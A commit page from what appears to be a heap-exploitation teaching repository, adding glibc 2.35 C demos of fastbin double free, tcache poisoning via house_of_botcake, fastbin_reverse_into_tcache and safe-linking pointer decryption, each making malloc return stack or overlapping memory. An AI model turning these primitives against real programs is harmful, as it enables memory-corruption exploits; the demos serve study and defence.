Skip to content

Commit a897245

Browse files
committed
include glibc_2.35
1 parent dbc78fa commit a897245

17 files changed

+1592
-1
lines changed

Makefile

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,8 @@ V2.31 = glibc_2.31/fastbin_dup_consolidate glibc_2.31/fastbin_dup_into_stack gli
55
V2.32 = glibc_2.32/fastbin_dup_consolidate glibc_2.32/unsafe_unlink glibc_2.32/overlapping_chunks glibc_2.32/house_of_einherjar glibc_2.32/tcache_poisoning glibc_2.32/tcache_house_of_spirit glibc_2.32/house_of_botcake glibc_2.32/tcache_stashing_unlink_attack glibc_2.32/fastbin_reverse_into_tcache glibc_2.32/mmap_overlapping_chunks glibc_2.32/fastbin_dup glibc_2.32/large_bin_attack glibc_2.32/house_of_mind_fastbin glibc_2.32/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.32/poison_null_byte
66
V2.33 = glibc_2.33/fastbin_dup_consolidate glibc_2.33/unsafe_unlink glibc_2.33/overlapping_chunks glibc_2.33/house_of_einherjar glibc_2.33/tcache_poisoning glibc_2.33/tcache_house_of_spirit glibc_2.33/house_of_botcake glibc_2.33/tcache_stashing_unlink_attack glibc_2.33/fastbin_reverse_into_tcache glibc_2.33/mmap_overlapping_chunks glibc_2.33/fastbin_dup glibc_2.33/large_bin_attack glibc_2.33/house_of_mind_fastbin glibc_2.33/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.33/poison_null_byte
77
V2.34 = glibc_2.34/fastbin_dup_consolidate glibc_2.34/unsafe_unlink glibc_2.34/overlapping_chunks glibc_2.34/house_of_einherjar glibc_2.34/tcache_poisoning glibc_2.34/tcache_house_of_spirit glibc_2.34/house_of_botcake glibc_2.34/tcache_stashing_unlink_attack glibc_2.34/fastbin_reverse_into_tcache glibc_2.34/mmap_overlapping_chunks glibc_2.34/fastbin_dup glibc_2.34/large_bin_attack glibc_2.34/house_of_mind_fastbin glibc_2.34/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.34/poison_null_byte
8-
PROGRAMS = $(BASE) $(V2.23) $(V2.27) $(V2.31) $(V2.32) $(V2.33) $(V2.34)
8+
V2.35 = glibc_2.35/fastbin_dup_consolidate glibc_2.35/unsafe_unlink glibc_2.35/overlapping_chunks glibc_2.35/house_of_einherjar glibc_2.35/tcache_poisoning glibc_2.35/tcache_house_of_spirit glibc_2.35/house_of_botcake glibc_2.35/tcache_stashing_unlink_attack glibc_2.35/fastbin_reverse_into_tcache glibc_2.35/mmap_overlapping_chunks glibc_2.35/fastbin_dup glibc_2.35/large_bin_attack glibc_2.35/house_of_mind_fastbin glibc_2.35/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.35/poison_null_byte
9+
PROGRAMS = $(BASE) $(V2.23) $(V2.27) $(V2.31) $(V2.32) $(V2.33) $(V2.34) $(V2.35)
910
CFLAGS += -std=c99 -g -Wno-unused-result -Wno-free-nonheap-object
1011
LDLIBS += -ldl
1112

glibc_2.35/decrypt_safe_linking.c

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
long decrypt(long cipher)
6+
{
7+
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
8+
puts("because of the 12bit sliding.");
9+
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
10+
long key = 0;
11+
long plain;
12+
13+
for(int i=1; i<6; i++) {
14+
int bits = 64-12*i;
15+
if(bits < 0) bits = 0;
16+
plain = ((cipher ^ key) >> bits) << bits;
17+
key = plain >> 12;
18+
printf("round %d:\n", i);
19+
printf("key: %#016lx\n", key);
20+
printf("plain: %#016lx\n", plain);
21+
printf("cipher: %#016lx\n\n", cipher);
22+
}
23+
return plain;
24+
}
25+
26+
int main()
27+
{
28+
/*
29+
* This technique demonstrates how to recover the original content from a poisoned
30+
* value because of the safe-linking mechanism.
31+
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
32+
* and the key (ASLR slide) is the same to the pointer's leading bits.
33+
* As a result, as long as the chunk where the pointer is stored is at the same page
34+
* of the pointer itself, the value of the pointer can be fully recovered.
35+
* Otherwise, a little bit of bruteforce is required.
36+
*/
37+
38+
setbuf(stdin, NULL);
39+
setbuf(stdout, NULL);
40+
41+
// step 1: allocate chunks
42+
long *a = malloc(0x20);
43+
long *b = malloc(0x20);
44+
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
45+
malloc(0x10);
46+
puts("And then create a padding chunk to prevent consolidation.");
47+
48+
49+
// step 2: free chunks
50+
puts("Now free chunk a and then free chunk b.");
51+
free(a);
52+
free(b);
53+
printf("Now the freelist is: [%p -> %p]\n", b, a);
54+
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);
55+
56+
// step 3: recover the values
57+
puts("Now decrypt the poisoned value");
58+
long plaintext = decrypt(b[0]);
59+
60+
printf("value: %p\n", a);
61+
printf("recovered value: %#lx\n", plaintext);
62+
assert(plaintext == (long)a);
63+
}

glibc_2.35/fastbin_dup.c

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
int main()
6+
{
7+
setbuf(stdout, NULL);
8+
9+
printf("This file demonstrates a simple double-free attack with fastbins.\n");
10+
11+
printf("Fill up tcache first.\n");
12+
void *ptrs[8];
13+
for (int i=0; i<8; i++) {
14+
ptrs[i] = malloc(8);
15+
}
16+
for (int i=0; i<7; i++) {
17+
free(ptrs[i]);
18+
}
19+
20+
printf("Allocating 3 buffers.\n");
21+
int *a = calloc(1, 8);
22+
int *b = calloc(1, 8);
23+
int *c = calloc(1, 8);
24+
25+
printf("1st calloc(1, 8): %p\n", a);
26+
printf("2nd calloc(1, 8): %p\n", b);
27+
printf("3rd calloc(1, 8): %p\n", c);
28+
29+
printf("Freeing the first one...\n");
30+
free(a);
31+
32+
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
33+
// free(a);
34+
35+
printf("So, instead, we'll free %p.\n", b);
36+
free(b);
37+
38+
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
39+
free(a);
40+
41+
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
42+
a = calloc(1, 8);
43+
b = calloc(1, 8);
44+
c = calloc(1, 8);
45+
printf("1st calloc(1, 8): %p\n", a);
46+
printf("2nd calloc(1, 8): %p\n", b);
47+
printf("3rd calloc(1, 8): %p\n", c);
48+
49+
assert(a == c);
50+
}

glibc_2.35/fastbin_dup_consolidate.c

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
void main() {
6+
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
8+
printf("Fill up the tcache list to force the fastbin usage...\n");
9+
10+
void *ptr[7];
11+
12+
for(int i = 0; i < 7; i++)
13+
ptr[i] = malloc(0x40);
14+
for(int i = 0; i < 7; i++)
15+
free(ptr[i]);
16+
17+
void* p1 = calloc(1,0x40);
18+
19+
printf("Allocate another chunk of the same size p1=%p \n", p1);
20+
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
21+
free(p1);
22+
23+
void* p3 = malloc(0x400);
24+
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
25+
printf("will trigger the malloc_consolidate and merge\n");
26+
printf("the fastbin chunks into the top chunk, thus\n");
27+
printf("p1 and p3 are now pointing to the same chunk !\n\n");
28+
29+
assert(p1 == p3);
30+
31+
printf("Triggering the double free vulnerability!\n\n");
32+
free(p1);
33+
34+
void *p4 = malloc(0x400);
35+
36+
assert(p4 == p3);
37+
38+
printf("The double free added the chunk referenced by p1 \n");
39+
printf("to the tcache thus the next similar-size malloc will\n");
40+
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
41+
}
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <assert.h>
5+
6+
const size_t allocsize = 0x40;
7+
8+
int main(){
9+
setbuf(stdout, NULL);
10+
11+
printf("\n"
12+
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
13+
"except it works with a small allocation size (allocsize <= 0x78).\n"
14+
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
15+
"a large unsigned value to the stack.\n\n");
16+
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
17+
"An heap address leak is needed to perform this attack.\n"
18+
"The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");
19+
20+
// Allocate 14 times so that we can free later.
21+
char* ptrs[14];
22+
size_t i;
23+
for (i = 0; i < 14; i++) {
24+
ptrs[i] = malloc(allocsize);
25+
}
26+
27+
printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n"
28+
"(More than 7 times works fine too.)\n\n");
29+
30+
// Fill the tcache.
31+
for (i = 0; i < 7; i++) free(ptrs[i]);
32+
33+
char* victim = ptrs[7];
34+
printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n"
35+
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
36+
"already full, it will go in the fastbin.\n\n", victim);
37+
free(victim);
38+
39+
printf("Next we need to free between 1 and 6 more pointers. These will also go\n"
40+
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
41+
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
42+
"cause a segmentation fault. But if the value on the stack is zero then\n"
43+
"a single free is sufficient.\n\n");
44+
45+
// Fill the fastbin.
46+
for (i = 8; i < 14; i++) free(ptrs[i]);
47+
48+
// Create an array on the stack and initialize it with garbage.
49+
size_t stack_var[6];
50+
memset(stack_var, 0xcd, sizeof(stack_var));
51+
52+
printf("The stack address that we intend to target: %p\n"
53+
"It's current value is %p\n", &stack_var[2], (char*)stack_var[2]);
54+
55+
printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
56+
"to overwrite the next pointer at address %p\n\n", victim);
57+
58+
//------------VULNERABILITY-----------
59+
60+
// Overwrite linked list pointer in victim.
61+
// The following operation assumes the address of victim is known, thus requiring
62+
// a heap leak.
63+
*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));
64+
65+
//------------------------------------
66+
67+
printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n");
68+
69+
// Empty tcache.
70+
for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);
71+
72+
printf("Let's just print the contents of our array on the stack now,\n"
73+
"to show that it hasn't been modified yet.\n\n");
74+
75+
for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
76+
77+
printf("\n"
78+
"The next allocation triggers the stack to be overwritten. The tcache\n"
79+
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
80+
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
81+
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
82+
"address that we are targeting ends up being the first chunk in the tcache.\n"
83+
"It contains a pointer to the next chunk in the list, which is why a heap\n"
84+
"pointer is written to the stack.\n"
85+
"\n"
86+
"Earlier we said that the attack will also work if we free fewer than 6\n"
87+
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
88+
"That's because the value on the stack is treated as a next pointer in the\n"
89+
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
90+
"\n"
91+
"The contents of our array on the stack now look like this:\n\n");
92+
93+
malloc(allocsize);
94+
95+
for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
96+
97+
char *q = malloc(allocsize);
98+
printf("\n"
99+
"Finally, if we malloc one more time then we get the stack address back: %p\n", q);
100+
101+
assert(q == (char *)&stack_var[2]);
102+
103+
return 0;
104+
}

glibc_2.35/house_of_botcake.c

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <stdint.h>
4+
#include <string.h>
5+
#include <unistd.h>
6+
#include <assert.h>
7+
8+
9+
int main()
10+
{
11+
/*
12+
* This attack should bypass the restriction introduced in
13+
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
14+
* If the libc does not include the restriction, you can simply double free the victim and do a
15+
* simple tcache poisoning
16+
* And thanks to @anton00b and @subwire for the weird name of this technique */
17+
18+
// disable buffering so _IO_FILE does not interfere with our heap
19+
setbuf(stdin, NULL);
20+
setbuf(stdout, NULL);
21+
22+
// introduction
23+
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
24+
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
25+
puts("This attack only relies on double free.\n");
26+
27+
// prepare the target
28+
intptr_t stack_var[4];
29+
puts("The address we want malloc() to return, namely,");
30+
printf("the target address is %p.\n\n", stack_var);
31+
32+
// prepare heap layout
33+
puts("Preparing heap layout");
34+
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
35+
intptr_t *x[7];
36+
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
37+
x[i] = malloc(0x100);
38+
}
39+
intptr_t *prev = malloc(0x100);
40+
printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
41+
intptr_t *a = malloc(0x100);
42+
printf("Allocating the victim chunk: a @ %p\n", a);
43+
puts("Allocating a padding to prevent consolidation.\n");
44+
malloc(0x10);
45+
46+
// cause chunk overlapping
47+
puts("Now we are able to cause chunk overlapping");
48+
puts("Step 1: fill up tcache list");
49+
for(int i=0; i<7; i++){
50+
free(x[i]);
51+
}
52+
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
53+
free(a);
54+
55+
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
56+
free(prev);
57+
58+
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
59+
malloc(0x100);
60+
/*VULNERABILITY*/
61+
free(a);// a is already freed
62+
/*VULNERABILITY*/
63+
64+
puts("Now we have the chunk overlapping primitive:");
65+
int prev_size = prev[-1] & 0xff0;
66+
int a_size = a[-1] & 0xff0;
67+
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
68+
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
69+
a = malloc(0x100);
70+
memset(a, 0, 0x100);
71+
prev[0x110/sizeof(intptr_t)] = 0x41414141;
72+
assert(a[0] == 0x41414141);
73+
74+
return 0;
75+
}

0 commit comments

Comments
 (0)